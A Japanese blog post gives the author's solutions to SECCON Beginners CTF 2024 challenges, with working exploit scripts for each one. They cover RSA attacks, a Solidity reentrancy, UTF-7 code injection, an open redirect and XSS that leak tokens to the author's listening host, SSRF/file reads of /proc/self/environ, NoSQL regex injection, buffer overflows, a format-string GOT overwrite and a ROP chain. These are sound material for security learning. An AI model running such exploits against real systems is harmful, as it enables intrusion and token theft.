ゼオスTTのブログ

気が向いた時に、主にプログラミング関係の記事を書くつもり。しかし気が向かない。

SECCON Beginners CTF 2024 writeup

SECCON Beginners CTF 2024 にソロで参加しました。3位でした。

crypto

Safe Prime

方程式を解きました。

from Crypto.Util.number import long_to_bytes

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291
e = 65537
c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861

p, q = var('p, q')
anss = solve([q == p * 2 + 1, n == p * q], p, q)
for ans in anss:
    pt = ans[0].roots()[0][0]
    qt = ans[1].roots()[0][0]
    if pt.is_integer() and Integer(pt).is_prime():
        phi = (pt - 1) * (qt - 1)
        d = mod(e, phi) ^ -1
        m = mod(c, n) ^ d
        print(long_to_bytes(int(m)))

ctf4b{R3l4ted_pr1m3s_4re_vuLner4ble_n0_maTt3r_h0W_l4rGe_p_1s}

math

 \sqrt{a} を全通り試しました。

import itertools
import functools
from Crypto.Util.number import long_to_bytes

n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
c = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289

ab_sqrt = ab.isqrt() # 3 * 173 * 199 * 306606827773 * 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 * 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169

fs = [3, 173, 199, 306606827773]
for exps in itertools.product(range(2), repeat=4):
    a_sqrt = functools.reduce(lambda prod, v: prod * v, [f ^ exp for f, exp in zip(fs, exps)]) * 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169
    b_sqrt = ab_sqrt / a_sqrt
    a = a_sqrt ^ 2
    b = b_sqrt ^ 2

    x = var('x')
    anss = solve(n == (x + a) * (x + b), x)
    for ans in anss:
        xt = ans.roots()[0][0]
        if xt.is_integer() and Integer(xt).is_square():
            p = xt + a
            q = xt + b
            phi = (p - 1) * (q - 1)
            d = mod(e, phi) ^ -1
            m = mod(c, n) ^ d
            print(long_to_bytes(int(m)))

ctf4b{c0u1d_y0u_3nj0y_7h3_m4theM4t1c5?}

reversing

assemble

beginnerだし言われた通りにやるだけ、、、と思いきや、3問目の標準出力がずっと b'' から変わらず詰まりました。

mov rax, 0x123
mov rax, 0x123
push rax
mov rax, 0x6f6c6c6548
push rax
push rax
mov rdi, 1
mov rsi, rsp
mov rdx, 0x10
mov rax, 1
syscall
push 0x0
mov rax, 0x7478742e67616c66
push rax
mov rdi, rsp
mov rsi, 0
mov rax, 2
syscall
mov rdi, 3
mov rsi, rsp
mov rdx, 0x37
mov rax, 0
syscall
mov rdi, 1
mov rsi, rsp
mov rdx, 0x37
mov rax, 1
syscall

ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}

cha-ll-enge

雰囲気で読みました。そして今、cha-ll-enge がLLVMを示唆していることに気付きました...!

from pwn import *

key = bytes([119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7])

print(xor(key[:-1], key[1:]))

ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}

construct

DT_INIT_ARRAY に登録されている各関数から、真心込めて手作業で文字列を抜き出しました。

keys = [
    'c0_d4yk261hbosje893w5igzfrvaumqlptx7n',
    'oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5',
    'lzau7rvb9qh5_1ops6jg3ykf8x0emtcind24w',
    '9_xva4uchnkyi6wb2ld507p8g3stfej1rzqmo',
    'r8x9wn65701zvbdfp4ioqc2hy_juegkmatls3',
    'tufij3cykhrsl841qo6_0dwg529zanmbpvxe7',
    'b0i21csjhqug_3erat9f6mx854pyol7zkvdwn',
    '17zv5h6wjgbqerastioc294n0lxu38fdk_ypm',
    '1cgovr4tzpnj29ay3_8wk7li6uqfmhe50bdsx',
    '3icj_go9qd0svxubefh14ktywpzma2l7nr685',
    'c7l9532k0avfxso4uzipd18egbnyw6rm_tqjh',
    'l8s0xb4i1frkv6a92j5eycng3mwpzduqth_7o',
    'l539rbmoifye0u6dj1pw8nqt_74sz2gkvaxch',
    'aj_d29wcrqiok53b7tyn0p6zvfh1lxgum48es',
    '3mq16t9yfs842cbvlw5j7k0prohengduzx_ai',
    '_k6nj8hyxvzcgr1bu2petf5qwl09ids!om347a',
]

print(f'ctf4b{{{"".join(k[i*2:i*2+2] for i, k in enumerate(keys))}}}')

ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}

former-seccomp

入力との比較対象がフラグそのものだったため表示しました。

import gdb

gdb.execute('b *0x5555555557d3')
gdb.execute('r <<< ctf4b{01234567890123456789012345} > /dev/null')

flag = 'ctf4b{' + gdb.execute('x/s $rax', to_string=True).split()[-1].strip('"') + '}'
print(flag)

gdb.execute('c')
gdb.execute('q')

ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll}

misc

getRank

parseInt() で基数を省略した際の挙動を利用しました。

import requests

data = {'input': '0x' + 'f' * 256}
r = requests.post('https://getrank.beginners.seccon.games/', json=data)
print(r.json()['message'])

ctf4b{15_my_5c0r3_700000_b1g?}

vote4b

isIssuedtrue にする前に _safeMint() を呼んでいたためリエントラントしました。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.25;

import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import { Setup } from "./Setup.sol";
import { Ballot } from "./Ballot.sol";

contract Solve is IERC721Receiver {
  Setup public setup;
  Ballot public ballot;
  uint public count;

  constructor(address setupAddr) {
    setup = Setup(setupAddr);
    ballot = setup.ballot();
    count = 0;
  }

  function solve() public {
    setup.register();

    ballot.issueBallot();
    for (uint i = 1; i <= 10; i++) {
      ballot.voteForCandidate(i, address(setup));
    }
  }

  function onERC721Received(address, address, uint256, bytes calldata) external returns (bytes4) {
    if (++count < 10) {
      ballot.issueBallot();
    }
    return this.onERC721Received.selector;
  }
}

ctf4b{Re-3n7r4ncyyYYYyyyyYYYYyYYYyyYyYY!}

clamre

思い切り見えている正規表現を信じてよいか不安だったため sigtool --decode しました。変わりませんでした。

VIRUS NAME: ClamoraFlag
TDB: Engine:81-255,Target:0
LOGICAL EXPRESSION: 1
 * SUBSIG ID 0
 +-> OFFSET: ANY
 +-> SIGMOD: NONE
 +-> DECODED SUBSIGNATURE:
ctf4
 * SUBSIG ID 1
 +-> OFFSET: ANY
 +-> SIGMOD: NONE
 +-> DECODED SUBSIGNATURE:
     +-> TRIGGER: 0
     +-> REGEX: ^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$
     +-> CFLAGS: (null)

ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

commentator

UTF-7として解釈させました。

from pwn import *

with remote('commentator.beginners.seccon.games', 4444) as r:
    r.sendlineafter(b'>>> ', b'-*- coding: utf_7 -*-')
    r.sendlineafter(b'>>> ', b'+AAo-import subprocess')
    r.sendlineafter(b'>>> ', b'+AAo-subprocess.run("cat /flag*", shell=True)')
    r.sendlineafter(b'>>> ', b'__EOF__')

    r.stream()

ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}

web

wooorker

クエリにトークンが含まれていたため、うちに来てもらいました。

import subprocess
import threading
import requests

MY_HOST = ...
MY_PORT = 31337

BASE_URL = 'https://wooorker.beginners.seccon.games'

def serve(dto):
    result = subprocess.run(f'nc -l {MY_PORT}', shell=True, capture_output=True).stdout
    dto['token'] = result.splitlines()[0].split()[1].split(b'=')[1].decode()

dto = {}
t = threading.Thread(target=serve, args=(dto,))
t.start()

data = {'path': f'login?next=http://{MY_HOST}:{MY_PORT}/'}
requests.post(f'{BASE_URL}/report', json=data)

t.join()

headers = {'Authorization': f'Bearer {dto["token"]}'}
r = requests.get(f'{BASE_URL}/flag', headers=headers)
print(r.json()['flag'])

ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}

ssrforlfi

curlのドキュメントを読みました。

import requests
import re

r = requests.get('https://ssrforlfi.beginners.seccon.games/?url=file://localhost/proc/self/environ')
m = re.search('ctf4b{.*}', r.text)
print(m.group(0))

ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}

double-leaks

username は長さと利用文字を特定してから愚直に1文字ずつ求め、 password_hash は二分探索しました。

import requests
import string

def leak_username_length():
    l = 0
    r = 100
    while r - l > 1:
        m = l + r >> 1

        data = {
            'username': {'$regex': f'.{{{m}}}'},
            'password_hash': {'$ne': 'hoge'},
        }
        res = requests.post('https://double-leaks.beginners.seccon.games/login', json=data)

        if res.json()['message'] == 'DO NOT CHEATING':
            l = m
        else:
            r = m
    return l

def leak_username_characters():
    cs = []
    for c in string.printable:
        data = {
            'username': {'$regex': c},
            'password_hash': {'$ne': 'hoge'},
        }
        res = requests.post('https://double-leaks.beginners.seccon.games/login', json=data)

        if res.json()['message'] == 'DO NOT CHEATING':
            cs.append(c)
    return cs

def leak_username(n, cs):
    username = ''
    for _ in range(n):
        for c in cs:
            data = {
                'username': {'$regex': f'^{username}{c}'},
                'password_hash': {'$ne': 'hoge'},
            }
            res = requests.post('https://double-leaks.beginners.seccon.games/login', json=data)

            if res.json()['message'] == 'DO NOT CHEATING':
                username += c
                break
        else:
            raise Exception
    return username

def leak_password_hash():
    l = 0
    r = 1 << 256
    while r - l > 1:
        m = l + r >> 1

        data = {
            'username': {'$ne': 'hoge'},
            'password_hash': {'$gte': m.to_bytes(32, 'big').hex()},
        }
        res = requests.post('https://double-leaks.beginners.seccon.games/login', json=data)

        if res.json()['message'] == 'DO NOT CHEATING':
            l = m
        else:
            r = m
    return l.to_bytes(32, 'big').hex()

# n = leak_username_length()
n = 15

# cs = leak_username_characters()
# cs = ['0', '1', 'k', 'm', 'n', 'p', 'r', 'u', 'y', '$', '.', '^', '|']
cs = ['0', '1', 'k', 'm', 'n', 'p', 'r', 'u', 'y']

# username = leak_username(n, cs)
username = 'ky0muky0mupur1n'

# password_hash = leak_password_hash()
password_hash = 'd36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a'

data = {
    'username': username,
    'password_hash': password_hash,
}
res = requests.post('https://double-leaks.beginners.seccon.games/login', json=data)
print(res.json()['message'])

ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}

wooorker2

ハッシュにトークンが含まれていたため、うちに来てもらいました。

import subprocess
import http.server
import threading
import requests

MY_HOST = ...
MY_PORT = 31337

BASE_URL = 'https://wooorker2.beginners.seccon.games'

def serve1(dto):
    result = subprocess.run(f'nc -l {MY_PORT}', shell=True, capture_output=True).stdout
    dto['token'] = result.splitlines()[0].split()[1].split(b'=')[1].decode()

def serve2():
    class Handler(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f'<script>location.href = `http://{MY_HOST}:{MY_PORT}/${{location.hash.slice(1)}}`</script>'.encode())

    with http.server.HTTPServer(('', MY_PORT + 1), Handler) as httpd:
        httpd.handle_request()

dto = {}
t1 = threading.Thread(target=serve1, args=(dto,))
t2 = threading.Thread(target=serve2)
t1.start()
t2.start()

data = {'path': f'login?next=http://{MY_HOST}:{MY_PORT + 1}/'}
requests.post(f'{BASE_URL}/report', json=data)

t1.join()
t2.join()

headers = {'Authorization': f'Bearer {dto["token"]}'}
r = requests.get(f'{BASE_URL}/flag', headers=headers)
print(r.json()['flag'])

ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}

flagAlias

フェイクフラグが flag.ts を読み込んでほしそうにしていたため import() しました。

import requests

BASE_URL = 'https://flagalias.beginners.seccon.games:38277'
USERNAME = 'guest'
PASSWORD = 'AXbAbYwGJ0vRV8rM'

basic = requests.auth.HTTPBasicAuth(USERNAME, PASSWORD)

data = {'alias': 'import("./fla" + "g.ts").then(module => { for (const key in module) { if (key !== "getFakeFlag") return key; } })'}
r = requests.post(f'{BASE_URL}/', auth=basic, json=data)
function_name = r.json()[2][0]

# data = {'alias': f'import("./fla" + "g.ts").then(module => module.{function_name}())'}
# r = requests.post(f'{BASE_URL}/', auth=basic, json=data)
# print(r.json()[2][0])

data = {'alias': f'import("./fla" + "g.ts").then(module => module.{function_name}.toString())'}
r = requests.post(f'{BASE_URL}/', auth=basic, json=data)
print(r.json()[2][0])

ctf4b{y0u_c4n_r34d_4n0th3r_c0d3_in_d3n0}

htmls

<object> のfallback contentを利用しました。

import http.server
import threading
import string
import requests

MY_HOST = ...
MY_PORT = 31337

BASE_URL = 'https://htmls.beginners.seccon.games'

def serve(dto):
    class Handler(http.server.BaseHTTPRequestHandler):
        def do_GET(self):
            self.send_response(200)
            self.end_headers()

            dto['not_exists'].append(self.path)

    with http.server.HTTPServer(('', MY_PORT), Handler) as httpd:
        dto['httpd'] = httpd
        httpd.serve_forever()

cs = string.digits + string.ascii_lowercase

dto = {}
t = threading.Thread(target=serve, args=(dto,))
t.start()

path = '/var/www/htmls/ctf/'
while True:
    dto['not_exists'] = []

    html = ''
    for c in cs:
        html += f'''
          <object data="{path}{c}">
              <object data="http://{MY_HOST}:{MY_PORT}{path}{c}"></object>
          </object>
      '''
    data = {'html': html}
    requests.post(f'{BASE_URL}/', data=data)

    t.join(10)

    candidates = []
    for c in cs:
        if f'{path}{c}' not in dto['not_exists']:
            candidates.append(f'{path}{c}/')

    if len(candidates) == 1:
        path = candidates[0]
    elif len(candidates) == 0:
        break

dto['httpd'].shutdown()

r = requests.get(f'{BASE_URL}/flag/{path[len("/var/www/htmls/ctf/"):]}')
print(r.text)

ctf4b{h7ml_15_7h3_l5_c0mm4nd_h3h3h3!}

pwnable

simpleoverflow

is_admin を破壊しました。

from pwn import *

with remote('simpleoverflow.beginners.seccon.games', 9000) as r:
    payload = b'A' * 0x10
    r.sendafter(b'name:', payload)

    r.stream()

ctf4b{0n_y0ur_m4rk}

simpleoverwrite

リターンアドレスを win() に書き換えました。

from pwn import *

target = ELF('chall')

with remote('simpleoverwrite.beginners.seccon.games', 9001) as r:
    payload = b''
    payload += b'A' * 18
    payload += p64(target.symbols['win'])
    r.sendlineafter(b'input:', payload)

    r.stream()

ctf4b{B3l13v3_4g41n}

pure-and-easy

context.arch の指定漏れにしばらく気付きませんでした。

from pwn import *

context.arch = 'amd64'

target = ELF('chall')

with remote('pure-and-easy.beginners.seccon.games', 9000) as r:
    writes = {target.got['exit']: target.symbols['win']}
    payload = fmtstr_payload(6, writes)
    r.sendlineafter(b'> ', payload)

    r.stream()

ctf4b{Y0u_R34lly_G0T_M3}

gachi-rop

フラグのパスが /flag.txt でないことにしばらく気付きませんでした。

from pwn import *

context.arch = 'amd64'

target = ELF('gachi-rop')

libc = ELF('libc.so.6')
POP_RDI = next(libc.search(asm('pop rdi; ret'), executable=True))
POP_RSI = next(libc.search(asm('pop rsi; ret'), executable=True))
POP_RDX_R12 = next(libc.search(asm('pop rdx; pop r12; ret'), executable=True))
POP_RAX = next(libc.search(asm('pop rax; ret'), executable=True))
SYSCALL = next(libc.search(asm('syscall; ret'), executable=True))

with remote('gachi-rop.beginners.seccon.games', 4567) as r:
    LIBC_BASE = int(r.recvline().split(b'@')[1], 16) - libc.symbols['system']
    print(hex(LIBC_BASE))

    # payload = b''
    # payload += b'A' * 0x18
    # # read(STDIN_FILENO, bss, 0x400)
    # payload += p64(LIBC_BASE + POP_RDI) + p64(0)
    # payload += p64(LIBC_BASE + POP_RSI) + p64(target.bss(0x100))
    # payload += p64(LIBC_BASE + POP_RDX_R12) + p64(0x400) + p64(0)
    # payload += p64(LIBC_BASE + POP_RAX) + p64(0)
    # payload += p64(LIBC_BASE + SYSCALL)
    # # fd = open(bss, O_RDONLY)
    # payload += p64(LIBC_BASE + POP_RDI) + p64(target.bss(0x100))
    # payload += p64(LIBC_BASE + POP_RSI) + p64(0)
    # payload += p64(LIBC_BASE + POP_RAX) + p64(2)
    # payload += p64(LIBC_BASE + SYSCALL)
    # # getdents(fd, bss, 0x400)
    # payload += p64(LIBC_BASE + POP_RDI) + p64(3)
    # payload += p64(LIBC_BASE + POP_RSI) + p64(target.bss(0x200))
    # payload += p64(LIBC_BASE + POP_RDX_R12) + p64(0x400) + p64(0)
    # payload += p64(LIBC_BASE + POP_RAX) + p64(78)
    # payload += p64(LIBC_BASE + SYSCALL)
    # # write(STDOUT_FILENO, bss, 0x400)
    # payload += p64(LIBC_BASE + POP_RDI) + p64(1)
    # payload += p64(LIBC_BASE + POP_RSI) + p64(target.bss(0x200))
    # payload += p64(LIBC_BASE + POP_RDX_R12) + p64(0x400) + p64(0)
    # payload += p64(LIBC_BASE + POP_RAX) + p64(1)
    # payload += p64(LIBC_BASE + SYSCALL)
    # r.sendlineafter(b'Name: ', payload)

    # r.sendline(b'ctf4b/\x00')

    payload = b''
    payload += b'A' * 0x18
    # read(STDIN_FILENO, bss, 0x400)
    payload += p64(LIBC_BASE + POP_RDI) + p64(0)
    payload += p64(LIBC_BASE + POP_RSI) + p64(target.bss(0x100))
    payload += p64(LIBC_BASE + POP_RDX_R12) + p64(0x400) + p64(0)
    payload += p64(LIBC_BASE + POP_RAX) + p64(0)
    payload += p64(LIBC_BASE + SYSCALL)
    # fd = open(bss, O_RDONLY)
    payload += p64(LIBC_BASE + POP_RDI) + p64(target.bss(0x100))
    payload += p64(LIBC_BASE + POP_RSI) + p64(0)
    payload += p64(LIBC_BASE + POP_RAX) + p64(2)
    payload += p64(LIBC_BASE + SYSCALL)
    # read(fd, bss, 0x400)
    payload += p64(LIBC_BASE + POP_RDI) + p64(3)
    payload += p64(LIBC_BASE + POP_RSI) + p64(target.bss(0x200))
    payload += p64(LIBC_BASE + POP_RDX_R12) + p64(0x400) + p64(0)
    payload += p64(LIBC_BASE + POP_RAX) + p64(0)
    payload += p64(LIBC_BASE + SYSCALL)
    # write(STDOUT_FILENO, bss, 0x400)
    payload += p64(LIBC_BASE + POP_RDI) + p64(1)
    payload += p64(LIBC_BASE + POP_RSI) + p64(target.bss(0x200))
    payload += p64(LIBC_BASE + POP_RDX_R12) + p64(0x400) + p64(0)
    payload += p64(LIBC_BASE + POP_RAX) + p64(1)
    payload += p64(LIBC_BASE + SYSCALL)
    r.sendlineafter(b'Name: ', payload)

    r.sendline(b'ctf4b/flag-40ff81b29993c8fc02dbf404eddaf143.txt\x00')

    r.interactive()

ctf4b{64ch1_r0p_r3qu1r35_mu5cl3_3h3h3}

welcome

Welcome

Discordに招待されました。

ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}

感想

そこそこ長くCTFをやってきましたが、3位以内に入ったのは初めてです。とても嬉しいです。
経験の浅いカーネルエクスプロイト( kbuf )を解いてから苦手なcryptoをやろうと思っていたのですが、8時間掛けてRIPを取るところまでしか行けませんでした。とても悔しいです。